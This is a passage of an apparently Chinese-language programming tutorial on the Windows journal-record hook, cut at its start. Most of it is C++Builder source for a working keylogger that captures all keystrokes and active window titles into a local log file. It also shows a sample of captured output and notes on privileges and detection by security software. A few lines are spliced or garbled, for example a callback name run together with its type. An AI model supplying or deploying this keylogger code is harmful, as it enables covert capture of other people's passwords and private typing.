JournalRecordProc(int nCode, WPARAM wParam, LPARAM lParam),lParam 指向 EVENTMSG 結構。typedef struct tagEVENTMSG {
UINT message; // WM_KEYDOWN, WM_MOUSEMOVE, WM_LBUTTONDOWN 等
UINT paramL; // 訊息參數低字 (虛擬鍵碼、滑鼠 X)
UINT paramH; // 訊息參數高字 (滑鼠 Y)
DWORD time; // 事件時間戳
HWND hwnd; // 目標視窗句柄
} EVENTMSG;
// 全域變數
HHOOK g_hLogHook = NULL;
HWND g_hLastFocus = NULL;
const int KeyPressMask = 0x80000000;
char g_PrvChar = 0;
void __fastcall TForm1::Button1Click(TObject *Sender) // 安裝
{
if (!g_hLogHook)
g_hLogHook = SetWindowsHookEx(WH_JOURNALRECORD,
(HOOKPROC)JournalLogProc,
HInstance, 0);
}
void __fastcall TForm1::Button2Click(TObject *Sender) // 卸載
{
if (g_hLogHook) {
UnhookWindowsHookEx(g_hLogHook);
g_hLogHook = NULL;
}
}
JournalLogProcHOOKPROC JournalLogProc(int nCode, WPARAM wParam, LPARAM lParam)
{
if (nCode < 0)
return CallNextHookEx(g_hLogHook, nCode, wParam, lParam);
if (nCode == HC_ACTION) {
EVENTMSG *pEvt = (EVENTMSG*)lParam;
HWND hFocus = GetActiveWindow();
FILE *stream = fopen("c:\\logfile.txt", "a+t");
// 1. 視窗切換偵測:記錄時間、視窗標題
if (g_hLastFocus != hFocus) {
g_hLastFocus = hFocus;
char szTitle[256], szTime[128];
GetWindowText(hFocus, szTitle, 256);
strcpy(szTime, DateTimeToStr(Now()).c_str());
fprintf(stream, "\n%s %s ", szTime, szTitle);
}
// 2. 鍵盤事件處理
if (pEvt->message == WM_KEYDOWN) {
int vKey = LOBYTE(pEvt->paramL);
int iShift = GetKeyState(VK_SHIFT);
int iCaps = GetKeyState(VK_CAPITAL);
int iNum = GetKeyState(VK_NUMLOCK);
bool bShift = (iShift & KeyPressMask) == KeyPressMask;
bool bCaps = (iCaps & 1) == 1;
bool bNum = (iNum & 1) == 1;
// 數字鍵 0-9
if (vKey >= 0x30 && vKey <= 0x39) {
if (!bShift) fputc(vKey, stream);
}
// 字母 A-Z
else if (vKey >= 0x41 && vKey <= 0x5A) {
char ch;
if (!bCaps) {
ch = bShift ? vKey : vKey + 32;
} else {
ch = bShift ? vKey + 32 : vKey;
}
fputc(ch, stream);
}
// 小鍵盤 0-9
else if (vKey >= 0x60 && vKey <= 0x69) {
if (bNum) fputc(vKey - 0x60 + 0x30, stream);
}
// 符號鍵 ; = , - . / ` [ \ ] '
else if (vKey >= 0xBA && vKey <= 0xDE) {
char ch = 0;
switch (vKey) {
case 0xBA: ch = bShift ? ':' : ';'; break;
case 0xBB: ch = bShift ? '+' : '='; break;
case 0xBC: ch = bShift ? '<' : ','; break;
case 0xBD: ch = bShift ? '_' : '-'; break;
case 0xBE: ch = bShift ? '>' : '.'; break;
case 0xBF: ch = bShift ? '?' : '/'; break;
case 0xC0: ch = bShift ? '~' : '`'; break;
case 0xDB: ch = bShift ? '{' : '['; break;
case 0xDC: ch = bShift ? '|' : '\\'; break;
case 0xDD: ch = bShift ? '}' : ']'; break;
case 0xDE: ch = bShift ? '"' : '\''; break;
}
if (ch) fputc(ch, stream);
}
// 功能鍵/導航鍵 [BK][TAB][EN][SP][PU][PD][END][HOME][LF][UF][RF][DF][INS][DEL]
else if (vKey >= 8 && vKey <= 46) {
char *str = NULL;
switch (vKey) {
case VK_BACK: str = "[BK]"; break;
case VK_TAB: str = "[TAB]"; break;
case VK_RETURN: str = "[EN]"; break;
case VK_SPACE: str = "[SP]"; break;
case VK_PRIOR: str = "[PU]"; break;
case VK_NEXT: str = "[PD]"; break;
case VK_END: str = "[END]"; break;
case VK_HOME: str = "[HOME]"; break;
case VK_LEFT: str = "[LF]"; break;
case VK_UP: str = "[UF]"; break;
case VK_RIGHT: str = "[RF]"; break;
case VK_DOWN: str = "[DF]"; break;
case VK_INSERT: str = "[INS]"; break;
case VK_DELETE: str = "[DEL]"; break;
}
if (str && g_PrvChar != vKey) { // 去重
fputs(str, stream);
g_PrvChar = vKey;
}
}
}
// 3. 滑鼠點擊同步記錄視窗切換
if (pEvt->message == WM_LBUTTONDOWN || pEvt->message == WM_RBUTTONDOWN) {
if (g_hLastFocus != hFocus) {
g_hLastFocus = hFocus;
char szTitle[256], szTime[128];
GetWindowText(hFocus, szTitle, 256);
strcpy(szTime, DateTimeToStr(Now()).c_str());
fprintf(stream, "\n%s %s ", szTime, szTitle);
}
}
fclose(stream);
}
return CallNextHookEx(g_hLogHook, nCode, wParam, lParam);
}
2023-10-15 14:30:25 記事本
Hello World[EN]
2023-10-15 14:31:10 計算機
12345[EN]
| 點 | 說明 |
|---|---|
| 單一實例 | 系統僅允許一個 WH_JOURNALRECORD,第二次安裝會失敗 |
| 同步阻塞 | 回調執行期間系統輸入佇列暫停,嚴禁耗時操作 (此處 fopen/fprintf 為演示,生產環境需用非同步寫入) |
| 無需 DLL | 最大優勢:EXE 直接安裝,適合輕量工具 |
| 權限 | Win9x 無限制;NT 系統需管理員權限或 UIAccess |
| 反作弊/反記錄 | 遊戲/安全軟體常檢測此鉤子,安裝即被視為可疑行為 |
RegisterRawInputDevices):獲取鍵盤/滑鼠/HID 原始資料,無鉤子副作用,支援多鍵盤/多滑鼠區分。
日誌鉤子雖屬舊技術,但在 Win9x 時代構建鍵盤記錄器、巨集錄製器是最輕量的選擇;現代開發請優先考慮 Raw Input。